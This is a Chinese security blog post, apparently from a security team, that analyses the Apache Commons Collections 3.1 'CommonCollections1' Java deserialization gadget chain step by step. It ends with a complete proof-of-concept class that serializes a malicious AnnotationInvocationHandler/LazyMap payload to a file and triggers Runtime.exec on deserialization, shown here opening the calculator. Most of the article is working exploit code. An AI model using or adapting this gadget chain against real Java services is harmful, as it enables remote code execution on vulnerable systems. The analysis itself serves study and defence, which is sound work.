CommonCollections1 Gadget分析
2023-5-15 00:0:39 Author: 白帽子(查看原文) 阅读量:15 收藏

JDK1.7
Idea 2020.1
Apache CommonCollections V3.1
Idea默认版本Maven

将Gadget Chains分片分析,“=”下为迭代链,“=”上为利用链。

ObjectInputStream.readObject()            AnnotationInvocationHandler.readObject()                Map(Proxy).entrySet()                    AnnotationInvocationHandler.invoke()                        LazyMap.get()====================================================================                            ChainedTransformer.transform()                                ConstantTransformer.transform()                                InvokerTransformer.transform()                                    Method.invoke()                                        Class.getMethod()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.getRuntime()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.exec()

Gadget Chains 1(迭代链)

将迭代链再分片,“=”下为其具体实现,“=”为其前置条件。

 ChainedTransformer.transform()       ConstantTransformer.transform()           InvokerTransformer.transform()                 Method.invoke()                    Class.getMethod()                      InvokerTransformer.transform()                          Method.invoke()                           Runtime.getRuntime()   ===================================================================                               Runtime.getRuntime()                                InvokerTransformer.transform()                                    Method.invoke()                                         Runtime.exec()

具体实现

InvokerTransformer

InvokerTransformer#transform方法通过反射调用构造方法中传入的方法。

据InvokerTransformer类的构造方法和transform方法源码,可给出具体实现部分代码,“=”下为transform方法注释。

Runtime rt = Runtime.getRuntime();InvokerTransformer transformer = InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Users/lixq/Desktop/1.txt"});transformer.transform(rt);======================================================//Runtime rt = Runtime.getRuntime();//Class clazz = rt.getClass();//Method method = clazz.getMethod("exec",String.class);//method.invoke(rt,"open /Users/lixq/Desktop/1.txt");

前置条件

ChainedTransformer.transform()       ConstantTransformer.transform()           InvokerTransformer.transform()                 Method.invoke()                    Class.getMethod()                      InvokerTransformer.transform()                          Method.invoke()                           Runtime.getRuntime()

通过给出的Gadget Chains 1可知前置部分通过多次transform方法执行Runtime.getRuntime方法获取Runtime实例,由下而上逆推可得到前置部分实现代码。
由于Runtime类未继承Serializable故其不能直接反序列化,需要通过反射来一步步获取一个Runtime实例。为便于理解,下面先给出具体逻辑实现代码。

Class clazz = Class.forName("java.lang.Runtime");Class clsClazz = clazz.getClass();Method m1 = clsClazz.getMethod("getMethod", String.class, Class[].class);Object o1 = m1.invoke(clazz,new Object[]{"getRuntime",new Class[0]});Method m2 = m1.getClass().getMethod("invoke", Object.class, Object[].class);Object o2 = m2.invoke(o1,new Object[]{null,null});System.out.println(o1);System.out.println(o2);

使用Transformer迭代链实现之,具体如下。

ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);Object clsObj = constantTransformer.transform(1);InvokerTransformer invokerTransformer1 = new InvokerTransformer("getMethod",                new Class[]{String.class,Class[].class},                new Object[]{"getRuntime",new Class[0]}        );Object getMethodObj = invokerTransformer1.transform(clsObj);System.out.println(getMethodObj);InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke",                new Class[]{Object.class,Object[].class},                new Object[]{null,null});Object getRuntimeObj = invokerTransformer2.transform(getMethodObj);System.out.println(getRuntimeObj);

逐语句分析,ConstantTransformer#transformer会返回传入对象本身即Runtime的类对象。

invokerTransformer1.transform返回Runtime.getRuntime方法的Method对象。

invokerTransformer2.transform通过反射调用Method.invoke方法即调用getRumtime这个Method对象invoke方法返回一个Runtime对象。

迭代链实现

迭代链中用到的三个tranform方法:
1.InvokerTransformer.transform():在具体实现中已经给出其实现方法。
2.ConstanTransformer.transform():返回传入对象本身,在前置条件中已给出其实现方法。
3.ChainedTransformer.transform():此方法实现了对每个传入的transformer都调用其transform方法,并将结果作为下一次的输入传递进去。

综合前置条件和具体实现迭代链的最终实现代码和执行结果。

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open  /System/Applications/Calculator.app "})        });chainedTransformer.transform(1);

Gadget Chains 2(利用链)

ObjectInputStream.readObject()            AnnotationInvocationHandler.readObject()                Map(Proxy).entrySet()                    AnnotationInvocationHandler.invoke()                        LazyMap.get()

由后至前分析,LazyMap.get():当传入的key不存在时执行this.factory.transform,若此时传入的this.factory为构造好的迭代链chainedTransformer则可执行系统命令。

由于LazyMap的构造方法使用protected修饰,故无法直接new一个LazyMap的实例对象,但其提供了decorate方法来实例化一个LazyMap对象。

此时可完成构造利用链的第一步,如下。

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open  /System/Applications/Calculator.app "})        });chainedTransformer.transform(1);Hashmap map = new HashMap();LazyMap lazyMap = LazyMap.decorate(map,chainedTransformer);lazyMap.get(1);

继而向上,AnnotationInvocationHandler implements自InvocationHandler和Serializable是处理注解的类,构造该类需要提供两个参数,一个是Annotation类,一个是Map对象,此类未使用public修饰只能通过反射创建实例。

AnnotationInvocationHandler.invoke:关注代码注释部分,它执行了this.memberValues.get(var4),this.membrtValues等于构造方法中的var2也就是当构造方法中传入的var2为LazyMap对象时会执行LazyMap.get方法。

public Object invoke(Object var1, Method var2, Object[] var3) {        String var4 = var2.getName();        Class[] var5 = var2.getParameterTypes();        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {            return this.equalsImpl(var3[0]);        } else if (var5.length != 0) {            throw new AssertionError("Too many parameters for an annotation method");        } else {            byte var7 = -1;            switch(var4.hashCode()) {            case -1776922004:                if (var4.equals("toString")) {                    var7 = 0;                }                break;            case 147696667:                if (var4.equals("hashCode")) {                    var7 = 1;                }                break;            case 1444986633:                if (var4.equals("annotationType")) {                    var7 = 2;                }            }
switch(var7) { case 0: return this.toStringImpl(); case 1: return this.hashCodeImpl(); case 2: return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); }
return var6; } } } }
// default:// Object var6 = this.memberValues.get(var4);

通过动态代理来实现对AnnotationInvocationHandler.invoke方法的调用,先给出代理对象的生成方法注释。

Proxy.newProxyInstance(ClassLoader loader,                       Class<?>[] interfaces,                       InvocationHandler h);

//Proxy类就是用来创建一个代理对象的类,它提供了很多方法,但最常用的是newProxyInstance方法。
//InvocationHandler接口是proxy代理实例的调用处理程序实现的一个接口,每一个proxy代理实例都有一个关联的调用处理程序;//在代理实例调用方法时,方法调用被分派到调用处理程序的invoke方法。//其相当于一种代码增强,即在原先的方法逻辑上加上额外操作,在方法执行之前和之后加点通用逻辑,方便实现和维护。

先看下

AnnotationInvocationHandler.readObject()方法实现,this.memberValues是其构造方法中传入的Map对象,当其是一个代理Map对象并执行this.memberValues.entrySet().iterator()时会调用memberValues对应InvocationHandler对象的invoke方法。

综上,可给出利用链实现代码。

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./Poc.bin"));objectOutputStream.writeObject(handler);objectOutputStream.close();

POC

import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;

class CC1 { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException { //构造迭代链 ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app "}) });
构造利用链 HashMap map = new HashMap(); map.put("11","22"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);
//序列化 ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./Poc.bin")); objectOutputStream.writeObject(handler); objectOutputStream.close();
//反序列化 ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Poc.bin")); inputStream.readObject();
}}

总结下CommonCollections1 反序列化执行恶意代码过程:
通过动态代理调用

AnnotationInvocationHandler.invoke(),AnnotationInvocationHandler对象构造时传入LazyMap,在调用其invoke方法时会执行LazyMap.get(),构造LazyMap对象时传入构造好的迭代链,执行LazyMap.get()时调用ChianedTransformer.transform(),最终执行系统命令。

E

N

D

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。



文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246697&idx=2&sn=6d866386ee56436d8c3589185dcb7b91&chksm=82ea5580b59ddc96c01342aef9158e09c59302fcd474e719e8a4847872fb7498c9af19fe850c#rd
如有侵权请联系:admin#unsafe.sh